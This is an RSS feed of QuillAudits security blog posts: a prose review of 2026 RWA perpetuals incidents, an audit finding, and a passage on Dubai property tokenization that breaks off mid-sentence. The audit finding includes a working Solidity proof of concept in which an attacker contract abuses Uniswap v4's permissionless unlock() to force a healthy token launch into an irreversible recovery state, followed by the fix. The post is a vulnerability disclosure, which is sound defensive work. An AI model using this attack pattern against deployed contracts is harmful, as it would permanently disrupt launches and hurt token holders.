<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by QuillAudits - Web3 Security 🛡️ on Medium]]></title>
        <description><![CDATA[Stories by QuillAudits - Web3 Security 🛡️ on Medium]]></description>
        <link>https://medium.com/@quillaudits?source=rss-777959014b94------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*BaGzN2OVF70aARQzxAmlUA.png</url>
            <title>Stories by QuillAudits - Web3 Security 🛡️ on Medium</title>
            <link>https://medium.com/@quillaudits?source=rss-777959014b94------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 02:58:06 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@quillaudits/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[$50M+ Lost in RWA Perps With Zero Contract Bugs]]></title>
            <link>https://medium.com/coinmonks/50m-lost-in-rwa-perps-with-zero-contract-bugs-5a7d1a7a251d?source=rss-777959014b94------2</link>
            <guid isPermaLink="false">https://medium.com/p/5a7d1a7a251d</guid>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[defi]]></category>
            <category><![CDATA[tokenization]]></category>
            <dc:creator><![CDATA[QuillAudits - Web3 Security ️]]></dc:creator>
            <pubDate>Tue, 27 Oct 2026 04:40:40 GMT</pubDate>
            <atom:updated>2026-10-27T04:40:40.708Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6SibJ4r7OPhKdyl5NzEWwg.png" /></figure><p>RWA perpetuals were the breakout DeFi product of 2026. They were also one of its most expensive lessons.</p><p>Across five incidents in under a year, more than $50M left traders and liquidity providers on perp venues. In none of them did an attacker exploit a broken line of Solidity. The contracts did exactly what they were written to do.</p><p>The money moved through price feeds, signer keys, bridges and risk parameters. It is the same pattern we tracked in <a href="https://www.quillaudits.com/blog/web3-security/the-admin-audit-checklist">The Admin Audit Checklist </a>, where $2B was lost across major protocols without a single code bug. This post breaks down each incident, the design flaw behind it, and what auditors and builders should check before the next one.</p><h3>How RWA perps actually work</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YQHrDN72VuJaMTOK" /></figure><p>An RWA perp is a synthetic, cash-settled perpetual future on a real-world asset. Traders get leveraged long or short exposure to Nvidia, gold, oil, the Nasdaq-100 or even pre-IPO names, using USDC as collateral.</p><p>Nothing is tokenized. No share or barrel sits in custody. The protocol only needs one thing from the real world, and that is the price.</p><p>A funding rate keeps the perp aligned with an oracle index. Liquidations fire when margin falls below the maintenance level. Profit and loss settle in stablecoins, often against a shared LP vault.</p><h3>Why this market matters now</h3><p>Growth has been extreme. a16z crypto tracked $117.3B in RWA perp volume in August 2026, 44x the level a year earlier. Equities made up 48% of that volume, overtaking commodities.</p><p>At the quarterly level, RWA perp DEX volume reached $365B in Q3 2026, up 32% from Q2.</p><p>Infrastructure such as @HyperliquidX HIP-3 made this possible by letting builders deploy markets permissionlessly. That speed also means many markets go live with new oracle stacks, thin liquidity and untested risk settings.</p><h3>Where the trust really sits</h3><p>Every RWA perp depends on a price pipeline with several moving parts.</p><p>A data source supplies the underlying price. An aggregator or signer packages it into a report. A keeper, forwarder or relayer delivers that report on-chain. The contract then uses it to open, close and liquidate positions, with an LP vault paying out the difference.</p><p>Each of those links is a point of failure. Most audits focus only on the last one. The incidents below show why that is not enough, and why <a href="https://www.quillaudits.com/blog/web3-security/watching-your-servers">monitoring contracts alone leaves your servers exposed </a>.</p><h3>Ostium and the signer that became the oracle</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*G_WRYa0xtSM294cP" /></figure><p>On July 15, 2026, @Ostium, an RWA perp DEX on @arbitrum offering stocks, commodities, FX and indices, lost $23.75M USDC from its public OLP vault.</p><p>The root cause was a compromised oracle signer private key. With it, the attacker used a registered PriceUpKeep forwarder to submit future-dated price reports that the system accepted as authorized.</p><p>The attacker then ran around 20 looped trades through delegated actions. Each trade was opened and settled against prices the attacker effectively chose. There was no real market exposure, only manufactured profit paid out of LP capital.</p><p>The vault held roughly $63M at the time. Close to one-third of it was drained in hours.</p><p>Trader collateral was isolated from the OLP vault, which limited the damage. Ostium paused trading and reopened on July 23.</p><p>For the full transaction-level breakdown, read our hack report, <a href="https://www.quillaudits.com/blog/hack-analysis/ostium-price-report-signer-compromise">Ostium $23.75M Price Report Signer Compromise Exploit (Explained) </a>.</p><h3>Why the contracts did not stop it</h3><p>The contracts checked one thing about each price report, whether its signer was on the authorized list. They did not independently confirm that the price was current, plausible or consistent with another source.</p><p>That is the core lesson. A valid signature proves who sent a price. It does not prove the price is true.</p><p>Freshness bounds, deviation limits against a second feed, and per-block caps on vault outflows would each have made this attack harder or far smaller.</p><p>Oracle verification failures are not unique to RWA perps. The <a href="https://www.quillaudits.com/blog/hack-analysis/bonzo-fiance-zero-signature-exploit">Bonzo Finance $9.05M oracle verifier exploit </a>shows how a weak signature check on price data can be just as costly.</p><h3>AFX Trade and the bridge nobody priced in</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*87H_DcxqDekZoCCy" /></figure><p>One week later, on July 22, perp DEX AFX Trade on Arbitrum lost about $24.15M USDC, close to its entire TVL.</p><p>The trading engine was never touched. The attacker gained control of the validator signing keys behind the USDC custody bridge that AFX operated itself.</p><p>Five hot-validator signatures met the bridge’s approval threshold. The contract released the funds exactly as designed, because the withdrawal looked legitimately signed.</p><p>The attacker bridged the USDC to Ethereum and swapped it for roughly 12,467 ETH. AFX suspended the bridge and offered a 30% bounty for the return of the remaining funds.</p><p>@OffchainLabs confirmed Arbitrum’s native bridge was not affected. This was an application-level failure.</p><p>For RWA perp builders, the takeaway is simple. Custody and bridging keys are part of your security perimeter. If a small set of hot keys can authorize withdrawals of the entire vault, the vault is only as safe as the laptop or server holding those keys.</p><p>The same failure has repeated across 2026. See how compromised signers drained <a href="https://www.quillaudits.com/blog/hack-analysis/drift-protocol-multisig-exploit">Drift Protocol </a>, and the <a href="https://www.quillaudits.com/blog/hack-analysis/taiko-leaked-sgx-enclave-key">Taiko Bridge </a>.</p><h3>Papertrade and the reference price problem</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Snbf3B_pdVPQ8fGq" /></figure><p>On October 10, 2026, Papertrade launched a perp venue with up to 1,000x leverage, using the Hyperliquid spot order book mid price as its execution reference.</p><p>A trader bought around 6,060 ETH, moving the spot price by roughly $3, or 0.12%. Paired with extreme leverage on Papertrade, that small move pulled about $1.28M out of the liquidity pool on launch day.</p><p>Open interest peaked at around $10.1B against roughly $54M of cover.</p><p>Papertrade listed crypto markets, not RWAs. It belongs in this analysis because many vault-backed RWA venues use the same structure, a pool counterparty settling against an external reference price.</p><p>When leverage is sized without regard to how cheaply the reference market can be moved, manipulation becomes an arithmetic exercise. No bug is required.</p><p>Perp venues have been hit this way before. Our breakdowns of the <a href="https://www.quillaudits.com/blog/hack-analysis/kiloex-exploit-breakdown">KiloEx $7.4M exploit </a>and <a href="https://www.quillaudits.com/blog/hack-analysis/how-gmx-lost-42m">GMX V1’s $42M loss </a>show how price inputs become the attack path in leveraged trading systems.</p><h3>The XYZ100 weekend raid</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*66wOXk785Hhls7YE" /></figure><p>In December 2025, a fresh wallet ran a six-hour TWAP short of roughly $10M on the XYZ100 Nasdaq-100 perp on Hyperliquid.</p><p>The Nasdaq was closed. The perp was not. Its price fell more than 3.5% within minutes, and around $13M of long positions were liquidated before prices recovered.</p><p>This is the off-hours problem in its clearest form. When the underlying market is shut, many venues price from their own order book. That book is thinner, easier to push and disconnected from any real reference.</p><p>Liquidations keep running on the mark price regardless. An attacker with enough size does not need to hack anything. They only need to push a quiet book through a cluster of liquidation levels.</p><p>The reverse risk appears on reopen. A real Monday gap can liquidate positions that looked safe all weekend.</p><h3>Ventuals and the reflexive oracle</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*l5QdfV-O6lxvjPfA" /></figure><p>Pre-IPO markets on names like SpaceX and OpenAI have a deeper problem. There is no live public price at all.</p><p>Ventuals, a HIP-3 deployer of pre-IPO perps, built its oracle from two halves. One half came from external historical trade and financing data. The other half came from the moving average of the contract’s own trading price.</p><p>That design is reflexive. Anyone who moves the order book is partly writing the oracle that marks every position.</p><p>On May 28, 2026, incorrect data from an off-chain provider crashed the SpaceX perp 45% in 30 minutes, liquidating hundreds of accounts. Ventuals compensated affected traders and later shut down after nine months of operation.</p><p>The failure here was not malicious, but the same path is available to an attacker. If an oracle reads its own market, the market can steer the oracle.</p><h3>HIP-3 and deployer-controlled pricing</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Wqt28rYc9hE6cT4S" /></figure><p>HIP-3 gives builders enormous flexibility. It also hands them full responsibility for the oracle.</p><p>Deployers must supply their own price feeds, typically through a relayer. If a relayer’s private key leaks, or the relayer is taken down by DDoS, a market can be left with manipulated or unanchored prices for an extended period.</p><p>HIP-3 also caps each oracle update at a 1% move from the previous value. That protects against single bad prints, but it creates a different gap. During a sharp real-world move, the on-chain price catches up in steps. Traders who see the real price first can trade against the stale one.</p><h3>The quieter gaps auditors miss</h3><p>Some RWA-specific risks have not yet produced a headline exploit, but they appear repeatedly in design reviews.</p><p><strong>Corporate actions.</strong> Stock splits, dividends and ticker changes alter the reference price without any change in value. An oracle that does not adjust for a 3-for-1 split would show every long as down 67%.</p><p><strong>Market calendars.</strong> Holidays, early closes and trading halts differ by exchange and country. A protocol that applies one global calendar will misprice Korean equities, US indices and commodities in different ways.</p><p><strong>Funding during closed hours.</strong> When the index stops updating, funding can drift or spike. That creates both trader losses and an incentive to game the funding window.</p><p><strong>Thin long-tail listings.</strong> Newly listed stocks and pre-IPO names often carry high leverage limits with very little depth behind them. Those markets are the cheapest place to start a manipulation.</p><h3>What to audit in an RWA perp</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OCMl_Faz1eibMnTi" /></figure><p>The contracts still need a full review. But an RWA perp audit that stops at Solidity misses the surfaces where 2026’s losses actually came from.</p><p><strong>Oracle pipeline.</strong> Who signs prices, where those keys live, and whether the contract enforces timestamp windows, monotonic timestamps, deviation bounds and cross-feed checks.</p><p><strong>Keepers and forwarders.</strong> Which addresses can submit prices or trigger settlement, and what happens if one is compromised.</p><p><strong>Off-hours logic.</strong> How the mark price behaves when the underlying closes, what bands apply, and how liquidations behave around reopen gaps.</p><p><strong>Leverage versus reference depth.</strong> Whether max leverage on each market is sized to how cheaply its reference price can be moved.</p><p><strong>Vault exposure.</strong> Whether open interest is capped against vault capital, and whether outflows are rate-limited per block or per epoch.</p><p><strong>Custody and bridges.</strong> Signer thresholds, hot versus cold key separation, withdrawal delays and emergency pause paths. Teams running Safe wallets can check their setup for free with <a href="https://www.quillaudits.com/multisig-inspector">Multisig Inspector </a>.</p><p><strong>Corporate actions and calendars.</strong> Whether splits, dividends, halts and regional holidays are handled explicitly rather than assumed away.</p><h3>How QuillAudits can help</h3><p>Securing an RWA perp takes more than a contract review. QuillAudits covers the full price and custody stack these incidents went through.</p><p><a href="https://www.quillaudits.com/services/rwa-security-audit">RWA and Tokenization Audit </a>. We review perp engines, margin and liquidation logic, and the oracle integration together, including market-hours handling, corporate actions and off-hours pricing.</p><p><a href="https://www.quillaudits.com/services/defi-diligence">DeFi Protocol Audit </a>. We stress-test leverage limits, open interest caps and vault exposure against how cheaply each reference market can be moved.</p><p><a href="https://www.quillaudits.com/services/blockchain-penetration-testing">dApp Pentest </a>. We test the off-chain side, including oracle signers, keepers, relayers, APIs and the servers that hold your keys.</p><p><a href="https://www.quillaudits.com/services/on-chain-monitoring-service">Smart Contract Monitoring </a>. Real-time alerts for abnormal price reports, vault outflows and liquidation spikes, so an attack is caught in minutes, not hours.</p><p><a href="https://www.quillaudits.com/services/incident-response-services">Incident Response </a>. If something goes wrong, our team helps you contain the damage, trace funds and coordinate recovery.</p><p>Building or launching an RWA perp? <a href="https://www.quillaudits.com/free-smart-contract-audit-consultation">Book a free audit consultation </a>with our team.</p><h3>Conclusion</h3><p>The largest RWA perp losses of 2026 came through keys, feeds and risk parameters, not broken code. As volume moves into equities and pre-IPO names, the oracle becomes the most valuable target in the system. Securing an RWA perp means auditing the full price pipeline, from data source to vault payout. In this market, whoever controls the price controls the vault.</p><p><em>Originally published at </em><a href="https://www.quillaudits.com/blog/rwa/rwa-perps-exploits"><em>https://www.quillaudits.com</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5a7d1a7a251d" width="1" height="1" alt=""><hr><p><a href="https://medium.com/coinmonks/50m-lost-in-rwa-perps-with-zero-contract-bugs-5a7d1a7a251d">$50M+ Lost in RWA Perps With Zero Contract Bugs</a> was originally published in <a href="https://medium.com/coinmonks">Coinmonks</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Quill Findings: Forcing Recovery Through Uniswap Unlock]]></title>
            <link>https://medium.com/coinmonks/quill-findings-forcing-recovery-through-uniswap-unlock-5a9d967d7446?source=rss-777959014b94------2</link>
            <guid isPermaLink="false">https://medium.com/p/5a9d967d7446</guid>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[uniswap]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[solidity]]></category>
            <dc:creator><![CDATA[QuillAudits - Web3 Security ️]]></dc:creator>
            <pubDate>Wed, 21 Oct 2026 14:38:36 GMT</pubDate>
            <atom:updated>2026-10-21T14:38:36.276Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dyztnLq3QUmr9Wur.png" /></figure><p>This is the fourth blog in our series Quill Findings, where we share interesting vulnerabilities our auditors found.</p><p>Today’s finding comes from a token launch protocol built on Uniswap v4 (). Tokens start on a bonding curve and later migrate into a Uniswap v4 pool. If that migration genuinely can’t go through, the launch drops into a RECOVERY state, which is terminal, there’s no way back out. We found a way for anyone to push a perfectly healthy launch into that state, for free.</p><h3>How recovery is decided</h3><p>When a migration looks stuck, anyone can call enterRecovery(). To decide whether migration is actually broken, the curve just tries it and treats any revert as proof of failure.</p><pre>// BondingCurve.sol<br>function enterRecovery() external {<br>    try migrationModule.migrate() {<br>        // migration worked, nothing to recover from<br>    } catch {<br>        // any revert at all -&gt; declare migration dead<br>        state = State.RECOVERY;<br>    }<br>}</pre><p>The catch block doesn&#39;t look at why the call reverted. That&#39;s the gap.</p><h3>The guard an attacker can trigger</h3><p>The migration module refuses to run while Uniswap’s PoolManager is unlocked. On its own, this guard is correct, migrating mid-unlock would be unsafe.</p><pre>// V4MigrationModule.sol<br>bytes32 constant IS_UNLOCKED_SLOT =<br>    0xc090fc4683624cfc3884e9d8de5eca132f2d0ec062aff75d43c0465d5ceeab23;<br><br>function migrate() external view {<br>    // reads the PoolManager&#39;s lock flag through its public exttload()<br>    if (poolManager.exttload(IS_UNLOCKED_SLOT) != 0) revert PoolManagerUnlocked();<br>    // ... real migration work ...<br>}</pre><p>The catch is that anyone can put the PoolManager into that unlocked state. In v4-core, unlock(bytes) is external and permissionless. It unlocks the manager, hands control back to the caller through unlockCallback, and only checks at the very end that all token balances settled to zero.</p><pre>// Uniswap v4-core, PoolManager.sol<br>function unlock(bytes calldata data) external returns (bytes memory result) {<br>    Lock.unlock();<br>    result = IUnlockCallback(msg.sender).unlockCallback(data);<br>    if (NonzeroDeltaCount.read() != 0) CurrencyNotSettled.selector.revertWith();<br>    Lock.lock();<br>}</pre><p>If the attacker settles nothing inside unlockCallback, NonzeroDeltaCount stays at zero, so the outer unlock() finishes cleanly. No tokens, no special access needed.</p><h3>The attack</h3><p>From inside their own callback, the PoolManager is unlocked, so the attacker just calls enterRecovery().</p><pre>function unlockCallback(bytes calldata) external returns (bytes memory) {<br>    // PoolManager is unlocked right now, so migrate() will revert<br>    curve.enterRecovery();   // migrate() reverts with PoolManagerUnlocked()<br>    return &quot;&quot;;               // settle nothing, outer unlock() still succeeds<br>}</pre><p>migrate() reverts with PoolManagerUnlocked(), the catch block treats it as a real failure, and a healthy launch is moved to terminal RECOVERY.</p><p>The root cause isn’t the PoolManager rejecting migration while unlocked, that behaviour is correct. It’s that enterRecovery() lets an attacker trigger that revert on purpose and then counts it as a genuine failure.</p><h3>Proof of concept</h3><p>This runs against the real Uniswap v4 PoolManager, so the unlock behaviour is exactly the production one.</p><p>src/Recovery.sol holds the launch contracts, the vulnerable BondingCurve plus V4MigrationModule, and their fixed versions:</p><pre>// SPDX-License-Identifier: MIT<br>pragma solidity 0.8.26;<br><br>import {IPoolManager} from &quot;v4-core/src/interfaces/IPoolManager.sol&quot;;<br><br>/// @notice Minimal reproduction of the migration module. Not the audited<br>/// source. It refuses to migrate while Uniswap&#39;s PoolManager is unlocked.<br>contract V4MigrationModule {<br>    IPoolManager public immutable poolManager;<br><br>    // Same slot as Lock.IS_UNLOCKED_SLOT in v4-core.<br>    bytes32 constant IS_UNLOCKED_SLOT =<br>        0xc090fc4683624cfc3884e9d8de5eca132f2d0ec062aff75d43c0465d5ceeab23;<br><br>    error PoolManagerUnlocked();<br><br>    constructor(IPoolManager _pm) {<br>        poolManager = _pm;<br>    }<br><br>    function _isUnlocked() internal view returns (bool) {<br>        return poolManager.exttload(IS_UNLOCKED_SLOT) != 0;<br>    }<br><br>    /// @notice Correct in isolation: migration must not run mid-unlock.<br>    function migrate() external view {<br>        if (_isUnlocked()) revert PoolManagerUnlocked();<br>        // ... real migration work would go here ...<br>    }<br>}<br><br>/// @notice Minimal reproduction of the bonding curve&#39;s recovery path.<br>contract BondingCurve {<br>    enum State { ACTIVE, RECOVERY }<br><br>    State public state;<br>    V4MigrationModule public immutable migrationModule;<br><br>    constructor(V4MigrationModule _m) {<br>        migrationModule = _m;<br>    }<br><br>    /// @notice Vulnerable: treats ANY revert from migrate() as a real failure.<br>    function enterRecovery() external {<br>        try migrationModule.migrate() {<br>            // migration worked, nothing to recover from<br>        } catch {<br>            state = State.RECOVERY;<br>        }<br>    }<br>}<br><br>/// @notice Fixed bonding curve: checks migration is actually attemptable first.<br>contract BondingCurveFixed {<br>    enum State { ACTIVE, RECOVERY }<br><br>    State public state;<br>    V4MigrationModuleFixed public immutable migrationModule;<br><br>    constructor(V4MigrationModuleFixed _m) {<br>        migrationModule = _m;<br>    }<br><br>    function enterRecovery() external {<br>        require(migrationModule.isMigratable(), &quot;migration not attemptable&quot;);<br>        try migrationModule.migrate() {<br>        } catch {<br>            state = State.RECOVERY;<br>        }<br>    }<br>}<br><br>/// @notice Fixed module: exposes a view reporting whether migration can run.<br>contract V4MigrationModuleFixed {<br>    IPoolManager public immutable poolManager;<br><br>    bytes32 constant IS_UNLOCKED_SLOT =<br>        0xc090fc4683624cfc3884e9d8de5eca132f2d0ec062aff75d43c0465d5ceeab23;<br><br>    error PoolManagerUnlocked();<br><br>    constructor(IPoolManager _pm) {<br>        poolManager = _pm;<br>    }<br><br>    function isMigratable() public view returns (bool) {<br>        return poolManager.exttload(IS_UNLOCKED_SLOT) == 0;<br>    }<br><br>    function migrate() external view {<br>        if (!isMigratable()) revert PoolManagerUnlocked();<br>    }<br>}</pre><p>test/ForcedRecovery.t.sol:</p><pre>// SPDX-License-Identifier: MIT<br>pragma solidity 0.8.26;<br><br>import {Test, console2} from &quot;forge-std/Test.sol&quot;;<br>import {PoolManager} from &quot;v4-core/src/PoolManager.sol&quot;;<br>import {IPoolManager} from &quot;v4-core/src/interfaces/IPoolManager.sol&quot;;<br>import {IUnlockCallback} from &quot;v4-core/src/interfaces/callback/IUnlockCallback.sol&quot;;<br>import {<br>    BondingCurve, BondingCurveFixed,<br>    V4MigrationModule, V4MigrationModuleFixed<br>} from &quot;../src/Recovery.sol&quot;;<br><br>/// @notice The attacker&#39;s unlockCallback calls enterRecovery() while the<br>/// PoolManager is unlocked, then settles nothing so unlock() still succeeds.<br>contract Attacker is IUnlockCallback {<br>    PoolManager pm;<br>    address curve;<br><br>    constructor(PoolManager _pm, address _curve) {<br>        pm = _pm;<br>        curve = _curve;<br>    }<br><br>    function attack() external {<br>        pm.unlock(&quot;&quot;);<br>    }<br><br>    function unlockCallback(bytes calldata) external returns (bytes memory) {<br>        // PoolManager is unlocked right now, so migrate() will revert.<br>        (bool ok,) = curve.call(abi.encodeWithSignature(&quot;enterRecovery()&quot;));<br>        ok; // call itself succeeds, the inner revert is swallowed by try/catch<br>        return &quot;&quot;; // settle nothing -&gt; NonzeroDeltaCount stays 0 -&gt; unlock() ok<br>    }<br>}<br><br>contract ForcedRecoveryTest is Test {<br>    PoolManager pm;<br><br>    function setUp() public {<br>        pm = new PoolManager(address(this));<br>    }<br><br>    function test_AttackerForcesHealthyLaunchIntoRecovery() public {<br>        V4MigrationModule module = new V4MigrationModule(IPoolManager(address(pm)));<br>        BondingCurve curve = new BondingCurve(module);<br><br>        // migration is perfectly healthy: with the manager locked, it does not revert<br>        module.migrate();<br>        console2.log(&quot;migration healthy while locked : true&quot;);<br>        assertEq(uint256(curve.state()), uint256(BondingCurve.State.ACTIVE));<br><br>        // attacker unlocks the manager and calls enterRecovery() from the callback<br>        Attacker attacker = new Attacker(pm, address(curve));<br>        attacker.attack();<br><br>        console2.log(&quot;state after attack (0=ACTIVE,1=RECOVERY):&quot;, uint256(curve.state()));<br>        assertEq(uint256(curve.state()), uint256(BondingCurve.State.RECOVERY), &quot;launch forced into RECOVERY&quot;);<br>    }<br><br>    function test_FixedCurveResistsTheAttack() public {<br>        V4MigrationModuleFixed module = new V4MigrationModuleFixed(IPoolManager(address(pm)));<br>        BondingCurveFixed curve = new BondingCurveFixed(module);<br><br>        Attacker attacker = new Attacker(pm, address(curve));<br><br>        // same attack as before: unlock, then call enterRecovery() from the callback<br>        attacker.attack();<br><br>        // the isMigratable() guard rejects the call, so state never flips<br>        console2.log(&quot;state after attack (0=ACTIVE,1=RECOVERY):&quot;, uint256(curve.state()));<br>        assertEq(uint256(curve.state()), uint256(BondingCurveFixed.State.ACTIVE), &quot;launch stays ACTIVE&quot;);<br>    }<br>}</pre><p>Run it:</p><pre>forge test --match-contract ForcedRecoveryTest -vv</pre><p>Output:</p><pre>Ran 2 tests for test/ForcedRecovery.t.sol:ForcedRecoveryTest<br>[PASS] test_AttackerForcesHealthyLaunchIntoRecovery() (gas: 551888)<br>Logs:<br>  migration healthy while locked : true<br>  state after attack (0=ACTIVE,1=RECOVERY): 1<br><br>[PASS] test_FixedCurveResistsTheAttack() (gas: 512694)<br>Logs:<br>  state after attack (0=ACTIVE,1=RECOVERY): 0<br><br>Suite result: ok. 2 passed; 0 failed; 0 skipped</pre><p>The first test shows migration is healthy while the manager is locked, then the attacker unlocks the manager, calls enterRecovery() from the callback, and the state flips to RECOVERY (1). The second test runs the same attack on the fixed curve and the state stays ACTIVE (0).</p><h3>The fix</h3><p>Before trying the migration, check whether it can actually run right now. If it can’t, stop instead of entering recovery. This check lives in the protocol’s own migration module, nothing changes on Uniswap’s side.</p><pre>// V4MigrationModule.sol<br>function isMigratable() public view returns (bool) {<br>    // same lock flag migrate() already checks<br>    return poolManager.exttload(IS_UNLOCKED_SLOT) == 0;<br>}<br><br>// BondingCurve.sol<br>function enterRecovery() external {<br>    // stop early if migration can&#39;t run right now<br>    require(migrationModule.isMigratable(), &quot;migration not attemptable&quot;);<br><br>    try migrationModule.migrate() {<br>        // migration worked, nothing to recover from<br>    } catch {<br>        // only reached when migration really fails<br>        state = State.RECOVERY;<br>    }<br>}</pre><p>isMigratable() reads the same lock flag migrate() already checks, so the attacker&#39;s call now stops at the first line, and recovery only happens when migration fails under normal conditions.</p><p>Ignoring only the PoolManagerUnlocked() error would also work today, but any similar &quot;temporarily unavailable&quot; error added to the migration path later would reopen the same hole. Checking up front avoids that.</p><h3>Conclusion</h3><p>When a failure leads to a permanent, irreversible state change, the contract shouldn’t just ask whether something failed, it should ask why. Here, a single revert anyone could trigger was enough to permanently kill a healthy launch.</p><p><em>Originally published at </em><a href="https://www.quillaudits.com/blog/auditing/uniswap-unlock-force-recovery"><em>https://www.quillaudits.com</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5a9d967d7446" width="1" height="1" alt=""><hr><p><a href="https://medium.com/coinmonks/quill-findings-forcing-recovery-through-uniswap-unlock-5a9d967d7446">Quill Findings: Forcing Recovery Through Uniswap Unlock</a> was originally published in <a href="https://medium.com/coinmonks">Coinmonks</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Security Risk In Dubai Tokenized Asset Borrowing Markets]]></title>
            <link>https://medium.com/coinmonks/security-risk-in-dubai-tokenized-asset-borrowing-markets-015c03a0d608?source=rss-777959014b94------2</link>
            <guid isPermaLink="false">https://medium.com/p/015c03a0d608</guid>
            <category><![CDATA[defi]]></category>
            <category><![CDATA[tokenization]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[ethereum]]></category>
            <dc:creator><![CDATA[QuillAudits - Web3 Security ️]]></dc:creator>
            <pubDate>Sun, 11 Oct 2026 14:55:07 GMT</pubDate>
            <atom:updated>2026-10-11T14:55:07.664Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F58W23H9IGeWpy16wd62JQ.png" /></figure><p>Dubai already lets a resident sell a slice of a tokenized property. <strong>Borrowing against that slice is the part that is not built yet, and it is the part that breaks first if the controls are thin.</strong></p><p>This is a look at how the secondary market works in Dubai tokenization today, using land as the live example. Other asset classes, including the silver and gold pilots, follow later. The property market is the one with a regulator, a registry, and a resale screen you can actually open.</p><h3>A market that can take a sell order</h3><p>On 20 February 2026 the Dubai Land Department opened Phase Two of its real estate tokenization pilot. About 7.8 million tokens from the first ten properties, worth a little over AED 18.5 million, became eligible for resale. The venue is the Prypco Mint app. Ctrl Alt issues and runs the tokens on the XRP Ledger. Ripple Custody holds them. Ctrl Alt holds the VARA licence for the stack. <strong>Every trade is meant to stay in step with the land registry.</strong></p><p>The rules are tighter than a typical crypto market. Only verified UAE residents can trade. Prypco’s own terms put a three month lock on tokens after the original funding, and a seller has to list within 15 percent of the latest DLD valuation. In July 2026 the marketplace minimum dropped to AED 1,000 for tokens already in circulation. New offerings still start at AED 2,000. If buyers disappear, holders can vote to sell the building.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_egbGScBM1N8TMSfOpgMAA.png" /></figure><p>Matt Acheson, chief product officer at Ctrl Alt, described the aim in the Phase Two release as a secondary market infrastructure that is <strong><em>“efficient for the entire ecosystem while maintaining the controls and governance required by the DLD and 